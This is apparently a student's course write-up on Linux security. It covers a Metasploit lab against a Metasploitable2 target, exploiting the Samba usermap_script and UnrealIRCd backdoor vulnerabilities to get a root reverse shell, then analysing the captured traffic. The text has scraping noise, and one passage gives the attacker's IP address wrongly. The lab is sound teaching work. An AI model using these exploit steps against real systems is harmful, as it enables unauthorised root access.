20199311 2019-2020-2《網絡攻防實踐》第8周做業

問題 回答
這個做業屬於哪一個課程 https://edu.cnblogs.com/campus/besti/19attackdefense
這個做業的要求在哪裏 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635
我在這個課程的目標是 學習教材第八章,瞭解Linux操做系統的網絡攻防技術
這個做業在哪一個具體方面幫助我實現目標 相關知識點和實踐任務

1. 實踐內容

1.1 Linux操做系統基本框架概述

1.1.1 Linux 系統結構

linux操做系統的整體結構以下圖所示,在Linux內核中,在硬件抽象層中的各種設備驅動 和序能夠徹底訪問硬件設備,方便地以模塊化形式設置,並在系統運行期間可直接經過 LKM 機制(Loadable Kernel Module)裝載或卸載。在硬件抽象層之上是內核服務功能模塊,包括進程管理、內存管理、文件系統、設備控制與網絡這五個子系統;而這些內核模塊經過系統調用接口向用戶態的GNU運行庫及工具、命令行Shell、X窗口以及應用軟件提供服務。
圖片描述linux

  • Linux進程與線程管理機制:Linux 內核採用搶佔式多用戶多進程(multiprocessing)模式,多個進程併發活動,由內核的進程管理模塊來負責調度硬件資源進行使用。web

  • Linux內存管理機制:Linux內存管理模塊(MM)容許多個進程安全地共享物理內存區域,每一個進籽使用兩套段描述符來分別訪問內核態和用戶態的內存空算法

  • Linux 的文件系統管理機制:Linux 內核使用了虛擬文件管理 VFS (Virtual File System) 機制,VFS 虛擬文件管理爲用戶進程提供了一組通用的文件系統調用函數(包括open 、close、read 、write 等),能夠對不一樣文件系統中的文件進行統一的操做。shell

  • Linux 的設備控制機制:Linux 內核中處理或者管理硬件控制器的軟件叫作設備驅動程序。Linux 核心的設備驅動程序本質上是特權的、駐留內存的低級的硬件控制例程的共享庫。Linux 的一個基本特色是抽象了設備的處理,全部的硬件設備都像常規文件同樣看待。apache

  • Linux 的網絡機制:Linux 內核中的網絡模塊提供了對各類網絡標準的存取和各類網絡硬件的支持。網絡接口可分爲網絡協議棧和網絡驅動程序。
    圖片描述安全

Linux 內核經過上述五個方面的機制實現了操做系統基本的硬件管理與系統功能,這些內核模塊都運行在 CPU 的核心態, 而應用程序則運行於用戶態,它們並不能直接訪問內核內存空間,也不能直接調用內核函數。Linux 提供了系統調用接口, 來容許應用程序透過這層接口來訪問硬件設備和其餘系統資源,這有助於保證 Linux 系統的穩定可靠和安全併爲用戶空間提供了一種統一的抽象接口,有助於應用程序的跨平臺移植。網絡

1.2 Linux 操做系統安全機制

與 Windows 操做系統相似,Linux 操做系統的核心安全機制也主要是身份認證、受權與訪問控制、安全審計這三個部分。併發

1.2.1 Linux 身份認證機制

Linux 是一個多用戶多任務的操做系統,經過建立多種角色類型的用戶及用戶組來實施用戶身份管理,來確保多個用戶安全地使用 Linux 操做系統。框架

  • linux 用戶:tcp

    • Root 根用戶:在系統中是惟 的擁有全高無上權限的超級用戶,能夠操做系統中 任何的文件與命令。
    • 普通用戶:由使用者建立的登陸系統並執行基本計算任務的用戶,只能操做本身目錄中的內容,執行權限受限。
    • 系統用戶:這類用戶不具備登陸系統的能力,但倒是系統運行不可缺乏的用戶, 好比用於啓動網絡服務的 daemon、 apache 等用戶,以及匿名訪問的 nobody、 ftp 等用戶。
      Linux 用戶信息保存在系統的/etc/passwd 文件中,具體包括用戶名、每一個用戶惟一的 uid、使用 Shell 類型、用戶初始目錄等,而加密口令字則存放於 /etc/shadow 文件中,只對 Root 可讀。
  • Linux 用戶組:具備相同特徵的用戶帳號集合,用於簡化整個系統的用戶權限理。 Linux 用戶組信息保存在 /etc/gshadow 文件中,可使用 id -a 來進行查詢當前用戶所屬用戶組。

  • Linux 的遠程登陸用戶認證機制:第一種方式爲基於口令的身份認證,使用 Linux 系統內建的用戶帳號和口令,就能夠登陸到遠程主機上;第二種方式爲基於非對稱密鑰的身份認證。此外 Linux 系統中的大量網絡服務都實現了本身的身份認證機制,如 MD5 散列、LANMAN\NTLM 散列算法等等。

  • Linux統一身份認證中間件 PAM:PAM 提供一些動態連接庫和一套統一的 API,將系統提供的服務和該服務的認證方式分開。PAM 支持的四種管理界面:認證管理,帳戶管理,密碼管理,會話管理。

1.2.2 Linux 受權與訪問控制機制

全部文件與設備資源的訪問控制都經過 NFS 虛擬文件系統來實現

  • 文件的全部者:每一個 Linux 文件都擁有其全部者,代表了該文件屈於哪一個用戶全部,以文件全部者的 uid 以及文件全部者所在組的 gid 來指明。

  • 文件的訪問權限:文件訪問權限經過附帶的10個標誌位來來進行設置。第一位表示文件類型,二到九位每三位分紅一組。組內三位分別表示,讀取權限、寫入權限和執行權限。三組分別表明全部者、全部組和全部用戶。

  • 文件的特殊執行權限:SUID與SGID權限,SUID 權限容許可執行文件在運行時刻從運行者的身份提高至文件全部者權限,能夠任意存取文件全部者能使用的所有系統資源,設置了 SGID 位的程序執行時是以全部者的組的權限進行運行,該程序就能夠任意存取整個用戶組可以使用的系統資源。

  • Linux訪問控制機制的不足及改進:訪問權限的細粒度不足,不支持完整的ACL訪問控制列表設置。

1.2.3 Linux 安全審計機制

Linux的安全審計機制則主要經過三個主要的日誌子系統來實現:鏈接時間日誌、進程統計日誌和錯誤日誌紀錄。

  • 鏈接時間日誌:系統管理員能跟蹤誰在什麼時候登陸到系統
  • 進程統計日誌:爲系統中的基本服務提供命令使用統計
  • 錯誤日誌記錄:報告值得注意的事件
    圖片描述

1.3 Linux系統遠程攻防技術

攻擊者首先利用踩點、掃描和查點等技術手段來收集關於目標 Linux 系統的信息, 而後攻擊者從遠程網絡發掘某個監聽網絡服務中的安全漏洞或配置弱點,來獲取本地 Shell 訪問權,而一旦得到 Shell 訪問權,攻擊者就已經在目標 Linux 系統上得到了立錐之地,而轉入本地攻擊的環節。

  • 遠程網絡上侵入 Linux 系統的主要方法:對 Linux 系統各類網絡服務的身份認證過程所涉及的用戶口令字進行猜想攻擊;發掘 Linux 系統某個監聽網絡服務的安全漏洞並進行利用;經過網頁木馬、發送欺詐郵件、提供特洛伊木馬程序等技術和社會工程學手段,來攻擊客戶端程序和用戶;Linux 做爲路由器所遭受的攻擊。以下圖所示
    圖片描述

1.4 Linux系統本地安全攻防技術

攻擊者在利用前面介紹的遠程滲透攻擊技術在Linux系統上得到訪問權以後,就開始
轉入本地攻擊,接下來要進行本地特權提高攻擊來提高他的訪問權限,以後經過清理 Linux 系統事件日誌來消蹤滅跡,避免被系統管理員所發覺和追查,最後在離開他們攻陷的系統以前,還會植入後門程序,來確保他們之後可以輕易地重返這臺系統。以下圖所示
圖片描述

2. 實踐過程

2.1 動手實踐:使用 Metasploit 進行 Linux 遠程滲透攻擊

使用 Metasploit 滲透測試軟件,攻擊 Linux 靶機上的 Samba 服務 usermap_script 安全漏洞,獲取目標 Linux 靶機的主機訪問權限。實踐步驟以下:

  1. 啓動 Metasploit 軟件,可根據我的喜愛使用 msfconsole、msfgui、msfweb 之一;
  2. 使用exploit: exploit/multi/samba/usermap_script 滲透攻擊模塊;
  3. 選擇攻擊 PAYLOAD 爲遠程Shell,(正向或反向鏈接都可);
  4. 設置滲透攻擊參數(RHOST,LHOST,TARGET等);
  5. 執行滲透攻擊;
  6. 查看是否正確獲得遠程Shell,並查看得到的權限。

本次實驗所採用的攻擊機爲kail linux,靶機爲 Metasploitable2-Linux,ip地址以下表所示

主機名稱 ip地址
kail 192.168.200.3
linux 192.168.200.125

首先,經過命令msfconsole啓動滲透軟件
圖片描述
經過命令user exploit/multi/samba/usermap_script 使用滲透攻擊模塊,同時使用show options查看須要配置的參數
圖片描述
設置攻擊的PAYLOADcmd/unix/reverse,同時設置攻擊的RHOSTS爲靶機地址192.168.200.125,和LHOST爲192.168.200.3
圖片描述
使用命令exploit進行攻擊,攻擊成功
圖片描述
經過命令whomai查看當前權限帳戶,發現當前權限帳戶爲 root
圖片描述

2.2 實踐做業

攻防對抗實踐: 攻擊方使用 Metasploit 滲透軟件針對 Linux Metasploitable 靶機實施網 絡攻擊,防護方則在 Metasploitatble 上使用 tcpdump 或 Wireshark 或 Snort 工具捕獲攻擊流,並分析出攻擊者利用了哪一個安全漏洞進行攻擊,從官方網站上下載該安全漏洞補丁進行系統修補,雙方合做給出攻防過程報告。

  • 攻擊方: 使用 Metasploit,選擇 Metasploitable 靶機中發現的漏洞進行滲透攻擊,得到遠程控制權,並嘗試進一步得到 Root 權限。
  • 防守方: 使用 tcpdump/wireshark/snort 監聽得到網絡攻擊的數據包文件,並結合 wireshark/snort 分析攻擊過程,獲取攻擊者 IP 地址、目標 IP 和端口、攻擊發起時間、攻擊利用漏洞、使用 Shellcode,以及成功以後在本地執行命令輸入等信息。
  • 團隊合做完成滲透攻擊與分析實驗報告。

攻擊過程
首先使用 nmap 掃描靶機,查看開放的端口,及端口上的服務,命令nmap -sV 192.168.200.125
圖片描述
而後使用 nessus 掃描靶機的相關漏洞
圖片描述

圖片描述
(到這裏時發生了一個問題,就是個人 kail 不知道爲何崩潰了,再次開機就無限登錄就是進不去......,試了一下午的解決方法都沒用,最後只能重裝系統了,心累)
選擇UnrealIRCd Backdoor Detection漏洞,漏洞編號爲CVE-2010-2075,網上搜索資料顯示,這個漏洞原理爲在DEBUG3_DOLOG_SYSTEM宏中引入外部的修改(特洛伊木馬),遠程攻擊者能夠執行任意命令。
在 kail 中使用命令search CVE-2010-2075搜索可用模塊
圖片描述
使用命令use exploit/unix/irc/unreal_ircd_3281_backdoor設置攻擊模塊,和命令show payloads查看可用載荷
圖片描述
選擇載荷cmd/unix/reverse,同時使用show options查看所需配置
圖片描述
配置RHOSTSLHOST(靶機地址和攻擊機地址,分別爲192.168.200.125和192.168.200.10)
圖片描述exploit執行
圖片描述

圖片描述
攻擊成功
首先查看一下當前用戶的權限whoami,是 root 權限
圖片描述
而後查看一下靶機的網絡配置
圖片描述

分析過程
因爲靶機上沒有 wireshark 工具,因此在 kail 上攻擊的同時打開 wireshark 分析,分析過程以下所示
首先由捕獲的數據包可知,ip 地址爲192.168.200.10的主機的不少不一樣的端口向 ip 地址爲192.168.200.125的主機的6667端口發送了不少數據包,所以能夠肯定攻擊機的 ip 地址爲192.168.200.125,目標主機的 ip 地址爲192.168.200.125,目標端口爲6667號端口
圖片描述
同時查看數據包詳細信息能夠獲得攻擊時間爲4月20日,20點45分
圖片描述
接着上網搜索一下 linux 關於6667端口的信息,首先發現6667端口上提供 Internet 多線交談服務(IRC),接着發如今6667端口上有一個關於 ircd 服務的漏洞 msf利用Metasploitable 2 漏洞之6667端口之unreal_ircd_3281_backdoor,再根據捕獲的數據包中有關於 IRC 協議的數據包,攻擊者大機率使用的是這個漏洞
圖片描述

追蹤 TCP 流,能夠發現攻擊者使用的shellcode
圖片描述

以及攻擊者在靶機上執行的命令,有lsifconfigwhoami
圖片描述
分析完成

3. 學習中遇到的問題及解決

  • 問題1:關於實踐二的漏洞尋找
  • 問題1解決方案:一開始在掃描靶機漏洞完成後嘗試了幾個漏洞,可是都沒有成功,最後因爲 kail 莫名奇妙的出現了問題,致使一下午都在尋找恢復 kail 的方法,最後也沒有找到,只好重裝系統,而後又試了幾個漏洞仍是不行,最後實在沒辦法就參考了其餘同窗的博客

4. 學習感想和體會

經過學習教材和實踐初步瞭解了對於 linux 系統的攻防技術。因爲實踐過程當中出現了上述一點小麻煩,此次感受心態有一點小崩。

參考資料

網絡攻防技術與實踐
msf利用Metasploitable 2 漏洞之6667端口之unreal_ircd_3281_backdoor
UnrealIRCd 後門未受權訪問漏洞

相關文章
相關標籤/搜索